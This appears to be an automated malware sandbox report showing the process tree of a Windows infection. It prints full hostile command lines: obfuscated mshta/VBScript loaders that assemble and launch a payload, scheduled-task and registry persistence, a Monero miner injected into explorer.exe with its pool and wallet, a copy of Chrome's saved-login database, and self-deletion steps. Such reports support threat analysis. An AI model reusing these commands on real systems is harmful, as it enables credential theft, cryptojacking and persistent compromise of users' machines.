C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )11⤵PID:5896
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"12⤵PID:5936
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )11⤵PID:6396
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC12⤵PID:4556
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "13⤵PID:7028
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"13⤵PID:4308
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC13⤵PID:2532
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
PID:1944
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
PID:4864 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 8008⤵
- Program crash
PID:6180
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 7848⤵
- Program crash
PID:6680
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 9248⤵
- Program crash
PID:6292
-
-
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4508 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
- Executes dropped EXE
PID:3012
-
-
-
C:\Users\Admin\AppData\Local\Temp\wangting-game.exe"C:\Users\Admin\AppData\Local\Temp\wangting-game.exe"7⤵
- Executes dropped EXE
PID:4936
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5032 -
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵PID:5468
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--iUSIg"9⤵PID:9460
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1ec,0x1f0,0x1f4,0x1c8,0x1f8,0x7fff042fdec0,0x7fff042fded0,0x7fff042fdee010⤵PID:5512
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff647209e70,0x7ff647209e80,0x7ff647209e9011⤵PID:6172
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --mojo-platform-channel-handle=1912 /prefetch:810⤵PID:7152
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --mojo-platform-channel-handle=1900 /prefetch:810⤵PID:812
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1840 /prefetch:210⤵PID:8180
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2528 /prefetch:110⤵PID:8228
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2548 /prefetch:110⤵PID:8272
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --mojo-platform-channel-handle=3208 /prefetch:810⤵PID:9028
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3284 /prefetch:210⤵PID:6220
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --mojo-platform-channel-handle=3304 /prefetch:810⤵PID:6688
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --mojo-platform-channel-handle=3436 /prefetch:810⤵PID:9400
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --mojo-platform-channel-handle=2720 /prefetch:810⤵PID:4872
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1824,572187607654083606,3589768340526864942,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9460_744108199" --mojo-platform-channel-handle=3444 /prefetch:810⤵PID:8872
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10.exe"C:\Users\Admin\AppData\Local\Temp\10.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4248 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4248 -s 15288⤵
- Program crash
PID:5404
-
-
-
C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"7⤵
- Executes dropped EXE
PID:4420 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"8⤵PID:5684
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"9⤵PID:8736
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"10⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Creates scheduled task(s)
PID:6140
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"9⤵PID:2308
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵PID:6952
-
-
C:\Users\Admin\AppData\Roaming\services64.exeC:\Users\Admin\AppData\Roaming\services64.exe10⤵PID:8632
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"11⤵PID:8732
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"12⤵PID:6436
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"13⤵PID:8252
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth12⤵PID:6236
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0971f17486f8.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed0971f17486f8.exeWed0971f17486f8.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2308 -
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed0971f17486f8.exeC:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed0971f17486f8.exe6⤵
- Executes dropped EXE
PID:2208
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09db0d52c38.exe4⤵PID:3172
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09db0d52c38.exeWed09db0d52c38.exe5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:3952 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:4380
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:4388
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09b3a5ca1a712d390.exe4⤵PID:600
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09b3a5ca1a712d390.exeWed09b3a5ca1a712d390.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2164 -
C:\Users\Admin\AppData\Roaming\6619578.exe"C:\Users\Admin\AppData\Roaming\6619578.exe"6⤵
- Executes dropped EXE
PID:5756
-
-
C:\Users\Admin\AppData\Roaming\8188935.exe"C:\Users\Admin\AppData\Roaming\8188935.exe"6⤵PID:5924
-
-
C:\Users\Admin\AppData\Roaming\8159250.exe"C:\Users\Admin\AppData\Roaming\8159250.exe"6⤵PID:5956
-
-
C:\Users\Admin\AppData\Roaming\2471790.exe"C:\Users\Admin\AppData\Roaming\2471790.exe"6⤵
- Executes dropped EXE
PID:5600
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0901eb1dae126e32.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed0901eb1dae126e32.exeWed0901eb1dae126e32.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1148 -
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed0901eb1dae126e32.exeC:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed0901eb1dae126e32.exe6⤵
- Executes dropped EXE
PID:1892
-
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed0901eb1dae126e32.exeC:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed0901eb1dae126e32.exe6⤵
- Executes dropped EXE
PID:2108
-
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed0901eb1dae126e32.exeC:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed0901eb1dae126e32.exe6⤵
- Executes dropped EXE
PID:4492
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09cfb2f9758281d8.exe /mixone4⤵PID:920
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09cfb2f9758281d8.exeWed09cfb2f9758281d8.exe /mixone5⤵
- Executes dropped EXE
PID:3324 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 6606⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4948
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 6766⤵
- Program crash
PID:5776
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 6846⤵
- Program crash
PID:6124
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 7006⤵
- Program crash
PID:6652
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 9326⤵
- Program crash
PID:4828
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 10966⤵
- Program crash
PID:5504
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09e95ff6b5.exe4⤵PID:1252
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09e95ff6b5.exeWed09e95ff6b5.exe5⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2840 -
C:\Users\Public\run.exeC:\Users\Public\run.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2000 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵PID:6196
-
-
-
C:\Users\Public\run2.exeC:\Users\Public\run2.exe6⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1656
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09c42cad92c20f79.exe4⤵PID:1344
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09c42cad92c20f79.exeWed09c42cad92c20f79.exe5⤵
- Executes dropped EXE
PID:3736 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Wed09c42cad92c20f79.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09c42cad92c20f79.exe" & exit6⤵PID:9308
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Wed09c42cad92c20f79.exe" /f7⤵
- Kills process with taskkill
PID:9528
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09abf83d9c2.exe4⤵PID:3256
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09b2a8bc4f16cb.exe4⤵PID:2788
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09d27135e5a8b3b.exe4⤵PID:1948
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed094c47c32b.exe4⤵PID:1664
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09977fdc12334.exe4⤵PID:2660
-
-
-
-
C:\Windows\SysWOW64\mstsc.exe"C:\Windows\SysWOW64\mstsc.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:4628 -
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\iDy7r92AdHoe594PiOA4dmf8.exe"3⤵PID:1016
-
-
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V3⤵PID:8060
-
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵PID:4852
-
-
-
C:\Windows\SysWOW64\mstsc.exe"C:\Windows\SysWOW64\mstsc.exe"2⤵PID:5176
-
-
C:\Users\Admin\AppData\Local\Temp\A05E.exeC:\Users\Admin\AppData\Local\Temp\A05E.exe2⤵PID:6828
-
C:\Users\Admin\AppData\Local\Temp\A05E.exeC:\Users\Admin\AppData\Local\Temp\A05E.exe3⤵PID:4828
-
-
-
C:\Users\Admin\AppData\Local\Temp\F7A6.exeC:\Users\Admin\AppData\Local\Temp\F7A6.exe2⤵PID:5132
-
-
C:\Users\Admin\AppData\Local\Temp\B10.exeC:\Users\Admin\AppData\Local\Temp\B10.exe2⤵PID:8168
-
-
C:\Users\Admin\AppData\Local\Temp\2EE5.exeC:\Users\Admin\AppData\Local\Temp\2EE5.exe2⤵PID:4152
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 2EE5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\2EE5.exe" & del C:\ProgramData\*.dll & exit3⤵PID:9600
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 2EE5.exe /f4⤵
- Kills process with taskkill
PID:10020
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
PID:4136
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\4358.exeC:\Users\Admin\AppData\Local\Temp\4358.exe2⤵PID:2312
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"3⤵PID:5852
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\4⤵PID:7740
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\5⤵PID:7808
-
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe" /F4⤵
- Creates scheduled task(s)
PID:7100
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\A7D0.exeC:\Users\Admin\AppData\Local\Temp\A7D0.exe2⤵PID:7860
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵PID:4032
-
-
-
C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\B85C.dll2⤵PID:6268
-
-
C:\Users\Admin\AppData\Local\Temp\C618.exeC:\Users\Admin\AppData\Local\Temp\C618.exe2⤵PID:7476
-
-
C:\Users\Admin\AppData\Local\Temp\EE71.exeC:\Users\Admin\AppData\Local\Temp\EE71.exe2⤵PID:1864
-
-
C:\Users\Admin\AppData\Local\Temp\EE1.exeC:\Users\Admin\AppData\Local\Temp\EE1.exe2⤵PID:7420
-
C:\Users\Admin\AppData\Local\Temp\EE1.exeC:\Users\Admin\AppData\Local\Temp\EE1.exe3⤵PID:9012
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\e1385b57-9353-424f-b646-b905838e3d41" /deny *S-1-1-0:(OI)(CI)(DE,DC)4⤵
- Modifies file permissions
PID:5080
-
-
C:\Users\Admin\AppData\Local\Temp\EE1.exe"C:\Users\Admin\AppData\Local\Temp\EE1.exe" --Admin IsNotAutoStart IsNotTask4⤵PID:5876
-
C:\Users\Admin\AppData\Local\Temp\EE1.exe"C:\Users\Admin\AppData\Local\Temp\EE1.exe" --Admin IsNotAutoStart IsNotTask5⤵PID:9688
-
C:\Users\Admin\AppData\Local\4f226b75-ec06-4136-92ae-3dd946329a17\build2.exe"C:\Users\Admin\AppData\Local\4f226b75-ec06-4136-92ae-3dd946329a17\build2.exe"6⤵PID:1768
-
C:\Users\Admin\AppData\Local\4f226b75-ec06-4136-92ae-3dd946329a17\build2.exe"C:\Users\Admin\AppData\Local\4f226b75-ec06-4136-92ae-3dd946329a17\build2.exe"7⤵PID:9172
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\4f226b75-ec06-4136-92ae-3dd946329a17\build2.exe" & del C:\ProgramData\*.dll & exit8⤵PID:6752
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f9⤵
- Kills process with taskkill
PID:9948
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
PID:9988
-
-
-
-
-
C:\Users\Admin\AppData\Local\4f226b75-ec06-4136-92ae-3dd946329a17\build3.exe"C:\Users\Admin\AppData\Local\4f226b75-ec06-4136-92ae-3dd946329a17\build3.exe"6⤵PID:4984
-
C:\Users\Admin\AppData\Local\4f226b75-ec06-4136-92ae-3dd946329a17\build3.exe"C:\Users\Admin\AppData\Local\4f226b75-ec06-4136-92ae-3dd946329a17\build3.exe"7⤵PID:4380
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"8⤵
- Creates scheduled task(s)
PID:8340
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1395.exeC:\Users\Admin\AppData\Local\Temp\1395.exe2⤵PID:10204
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 1395.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1395.exe" & del C:\ProgramData\*.dll & exit3⤵PID:8268
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 1395.exe /f4⤵
- Kills process with taskkill
PID:300
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
PID:5844
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\178E.exeC:\Users\Admin\AppData\Local\Temp\178E.exe2⤵PID:3184
-
-
C:\Users\Admin\AppData\Local\Temp\2059.exeC:\Users\Admin\AppData\Local\Temp\2059.exe2⤵PID:8912
-
